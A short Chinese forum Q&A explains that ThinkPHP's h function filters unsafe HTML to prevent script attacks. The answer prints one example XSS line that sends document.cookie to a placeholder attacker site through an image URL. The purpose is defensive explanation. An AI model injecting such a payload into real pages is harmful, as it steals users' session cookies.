tp扩展函数库的h函数到底什么意思啊？

如题，
输出安全的Html代码，不懂怎么个意思

防止js等脚本攻击的。过滤到不安全的代码。

如果你的编辑器 用户能写 js 代码， 而你网站是使用cookie的， 那么别人 很容易用js盗取用户cookie的。你如果把用户的重要信息（如密码等） 写在了cookie中， 太不安全了。。
比如， 别人写这样一段js代码：
document.write("〈 img src='http://xxxx.com/xxx.php"+
"?c="+document.cookie+"'〉");  
这里 xxxx.com 是他自己的网站， 他只需要 在xxx.php 文件中 写好处理c参数的代码， 就能轻松盗取你网站的cookie。

h函数 就是过滤这些不安全的代码的。